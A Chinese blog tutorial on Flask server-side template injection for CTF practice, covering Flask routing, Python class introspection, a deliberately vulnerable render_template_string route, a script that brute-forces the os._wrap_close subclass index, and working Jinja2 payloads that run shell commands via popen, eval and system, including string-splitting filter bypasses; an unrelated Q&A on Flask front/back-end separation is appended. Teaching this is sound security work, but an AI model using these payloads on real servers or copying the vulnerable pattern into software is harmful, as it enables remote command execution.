【Python】Flask模板注入从0到1

3 篇文章 1 订阅
1 篇文章 0 订阅

目录

一、什么是Flask:

二、flask搭建网站样例:

源码如下:

源码讲解:

访问结果:

三、模版注入预备知识:

1、对象的默认属性方法:

 例如:

2、object类:

3、Jinja2模版引擎渲染:

0x1:render_template 渲染:

0x2:render_template_string 渲染(SSTI有关函数):

四、注入讲解(os._wrap_close 类为例):

1、获取该类在当前环境的数组下标

脚本为:

2、构造payload

payload为:

payload讲解:

3、一些常用的绕过姿势:


一、什么是Flask:

flask是目前python主流的一个web微框架,通过flask框架我们可以利用python语言搭建起web服务,详细请见flask官方文档

二、flask搭建网站样例:

源码如下:

from flask import Flask
from flask import jsonify
from flask import request
app = Flask(__name__)
@app.route('/')
def hello():
    return 'I love CTF!'
@app.route('/value',methods=['GET', 'POST'])
def value():
    if request.method == "GET":
        return 'key='+str(request.args.get('key'))
    else:
        return "error: 请分别以 GET 和 POST 提交参数"
if __name__ == '__main__':
    # 默认方式启动
    # app.run()
    # 解决jsonify中文乱码问题
    app.config['JSON_AS_ASCII'] = False
    # 以调试模式启动,host=0.0.0.0 ,则可以使用127.0.0.1、localhost以及本机ip来访问
    app.run(host="0.0.0.0",port=8888,debug=True)

源码讲解:

  app.route(rule, options)  此函数代表路由,将路径与接下来的函数绑定

rule : 要绑定的URL路径
options: 是要转发给基础Rule对象的参数列表,可以为get或post方法


在上面的示例中,’/ ’ URL与hello_world()函数绑定。因此,当在浏览器中打开web服务器的主页时,将呈现该函数的输出

app.run(host, port, debug, options) 此函数用于网站启动配置

 host:要监听的主机名。 默认为127.0.0.1(localhost)。设置为“0.0.0.0”以使服务器在外部可用
port :默认值为5000
debug:默认为false。 如果设置为true,则提供调试信息,可以自动重载代码并显示调试信息
options:要转发到底层的Werkzeug服务器

request.args.get('key')

获取 get表单的参数,这里是获得 key 的键值

获取表单值的函数还有
CET方式:
	request.form.get("key", type=str, default=None) # 获取表单数据
	request.args.get("key") # 获取get请求参数
	request.values.get("key") # 获取所有参数
POST方式:
    request.form.get('key')
    request.form['key']

访问结果:

 这里我们访问的路径是  /value 调用路由 @app.route('/value',methods=['GET', 'POST'])

并且GET传参key为“I love CTF !”,该路由下的函数会return key的值

三、模版注入预备知识:

记住这句话 “Python中一切皆对象”

一个字符串,一个函数,一个实例化的类等都可以被看做对象

1、对象的默认属性方法:

__class__  //列出当前对象的所属的类

__bases__  //列出当前类所有直接父类,并以元组形式返回

__mro__  //列出解析方法调用类的顺序,包含祖先类

__subclasses__()  //以返回类的子类的列表

__init__  所有自带带类都包含init方法,便于利用他当跳板来调用globals,但重载init方法的函数才会返回function


__globals__   用于获取function所处空间下可使用的module、方法以及所有变量


Python中对象的属性和方法都可用 . 号或[]中括号访问

这里强调一点,python类中的默认方法只有被重载,调用时才会被当成function

 例如:

class Animal:
    pass

class Dog(Animal):
    pass
a=Dog()
print(a.__class__)    
print(a.__class__.__bases__)
print(a.__class__.__mro__) 
print(a.__class__.__bases__[0].__subclasses__()) 

>>> <class '__main__.Dog'>  对象所属的类
>>> (<class '__main__.Animal'>,) 类的直接父类组成的元组   
>>> (<class '__main__.Dog'>, <class '__main__.Animal'>, <class 'object'>) //类的调用过程中所有的类,包括祖先类
>>> [<class '__main__.Dog'>]  Animal类子类的列表

2、object类:

在Python中,object类是所有类的基类,也被称为顶层基类。它定义了一些通用的方法和属性,这些方法和属性可以被所有子类继承和使用。如果一个类没有指定自己的基类,那么默认就会继承自object类(也就是所任何类追溯到源头基类都是object类)

object类可调用python中任何原生的类,任何类都是它的子类

3、Jinja2模版引擎渲染:

什么是模版引擎请参考博主的这篇文章Smarty模版注入

Jinja2是flask框架自带的模版引擎

0x1:render_template 渲染:

前端:

前段人员只需用  {{}} 代替获取后端变量的代码即可,Jinja2模版引擎会自动渲染更新变量

<html>
  
    <h1>{{title}}</h1>
 
 <body>
      <a>Hello, {{name}}!</a>
  </body>
</html>

后端:

from flask import render_template
from flask import Flask
app = Flask(__name__)
@app.route('/')     #我们访问/会跳转
def index():
   title="Flak框架测试" #传入标题
   user = "ELITE"  #传入用户名
   return render_template("index.html",title=title,name=user)
if __name__ == '__main__':
    app.run(host="0.0.0.0",port=8888,debug=True)
  • 此函数会自动把我们传入或定义好的变量渲染到html文件中被{{}}标记的变量中
  • 该函数使用规定好的模板文件进行渲染,并不会产生注入
  • 需要将要渲染的html文件放入同目录下的templates文件夹

结果为:

0x2:render_template_string 渲染(SSTI有关函数):

后端:

from flask import render_template
from flask import render_template_string
from flask import request
from flask import Flask
app = Flask(__name__)
@app.route('/test',methods=['GET'])
def test():
    template = '''
        <div class="center-content error">
            <h1>Oops! That page doesn't exist.</h1>
            <h3>%s</h3>
        </div> 
    ''' %(request.url)
    return render_template_string(template)
if __name__ == '__main__':
    app.run(host="0.0.0.0",port=8888,debug=True)

 该函数将渲染模版直接写入当前Python文件中,可通过render_template_string函数造成模板注入

render_template_string函数在渲染模板的时候使用了%s来动态的替换字符串,在渲染的时候会把 {{}} 包裹的内容当做变量解析替换,注入正是因此引起

结果为:

四、注入讲解(os._wrap_close 类为例):

我们可以根据上文的 __class__,__mro__,__bases__等默认属性,调用出object类的,并使用__subclasses__()方法(返回值为该环境下所有类的列表),我们可以从中选择含有可以用方法的类,然后调用,传入payload

1、获取该类在当前环境的数组下标

脚本为:

import requests
from tqdm import tqdm
 
for i in tqdm(range(233)):
    url = 'url/?变量={{%22%22.__class__.__bases__[0].__subclasses__()['+str(i)+']}}'
    r = requests.get(url=url).text
    if('os._wrap_close' in r):
        print(i)

2、构造payload

这里os._wrap_close 类的数组下标为 132

payload为:

1、查看类中的可利用方法

{{"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__}}

 

2、利用popen()方法

{{"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('ls /').read()}}

payload讲解:

__class__.__bases__[0] 代表object基类

__subclasses__()[132]  代表object子类集合中的第132个类(os._wrap_close)

__init__  初始化os._wrap_close类

__globals__ 返回os._wrap_close类中所有的方法及属性

__globals__['popen'] 调用该类的popen方法,该方法可执行传入的shell命令

read()  读取输出命令执行结果
 

3、一些常用的绕过姿势:

{{().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls  /var/www/html").read()' )}}

{{object.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')}}

{{request['__cl'+'ass__'].__base__.__base__.__base__['__subcla'+'sses__']()[60]['__in'+'it__']['__'+'glo'+'bal'+'s__']['__bu'+'iltins__']['ev'+'al']('__im'+'port__("os").po'+'pen("ca"+"t a.php").re'+'ad()')}}

  • 6
    点赞
  • 20
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 4
    评论
### 回答1: 你可以在 Flask 中使用 ajax 和 JSON 来实现前后端分离。 首先,在 Flask 中创建一个视图函数,它会返回一个 JSON 响应,例如: ``` @app.route('/api/data') def get_data(): data = {'key': 'value'} return jsonify(data) ``` 然后,在前端 JavaScript 代码中使用 ajax 请求这个视图,例如: ``` $.get('/api/data', function(data) { console.log(data.key); // 'value' }); ``` 这样,前端 JavaScript 代码就可以通过 ajax 请求与 Flask 后端进行通信,从而实现前后端分离。 ### 回答2: 实现Python Flask的前后端分离方法有以下几种: 1. 使用RESTful API:将Python Flask应用程序作为后端提供数据的API接口,前端开发使用其他框架或库(如React、Vue.js等)实现页面展示和交互。前端通过HTTP请求调用后端API获取数据并进行展示。 2. 使用模板引擎:Flask内置了Jinja2模板引擎,可以将后端中的数据动态渲染到前端页面中,实现页面的展示和交互。前端可以使用HTML、CSS、JavaScript等编写页面,通过模板标记将后端数据注入到页面中。 3. 使用前端框架:Flask可以作为后端提供数据的API接口,而前端则使用独立的前端框架(如React、Vue.js等)来处理页面展示和交互。前后端通过HTTP请求进行通信,前端通过调用后端API获取数据并进行展示。 4. 使用单页面应用(SPA):将前端页面作为一个单独的应用,通过JavaScript框架(如React、Vue.js等)进行数据交互和页面展示。后端Flask应用程序只提供API接口,前端通过调用API获取数据并进行展示。 实现前后端分离可以提高开发效率,提供灵活性,并允许前后端团队的并行开发。需要根据具体的项目需求和团队技术栈选择合适的方法来实现。 ### 回答3: 要实现前后端分离,可以使用Python Flask提供的API来实现后端逻辑,同时使用前端框架来处理用户界面和交互。 首先,需要创建一个Flask应用,并配置好路由和接口,可以使用Flask提供的`@route`装饰器来定义路由和请求方法,例如: ```python from flask import Flask, request, jsonify app = Flask(__name__) @app.route('/api/user', methods=['GET']) def get_user(): user_id = request.args.get('user_id') # 处理获取用户信息的逻辑 user = { 'id': user_id, 'name': 'John Doe', 'age': 25 } return jsonify(user) if __name__ == '__main__': app.run() ``` 然后,可以使用前端框架,如React或Vue.js,来创建用户界面和交互。可以使用AJAX或Fetch API来向后端发送请求并处理返回的数据。 在前端代码中,可以使用`fetch`函数来发送GET请求,例如: ```javascript fetch('/api/user?user_id=123') .then(response => response.json()) .then(user => { // 处理用户数据的逻辑 console.log(user); }) .catch(error => { // 处理错误的逻辑 console.error(error); }); ``` 以上代码发送一个GET请求到后端的`/api/user`接口,并传递了一个`user_id`参数。当请求成功返回后,可以在`then`方法中处理返回的用户数据。如果请求出错,则可以在`catch`方法中处理错误。 通过以上方式,就可以实现Python Flask的前后端分离。后端只负责提供API接口,前端负责处理用户界面和交互,实现了前后端的解耦。
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Elitewa

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值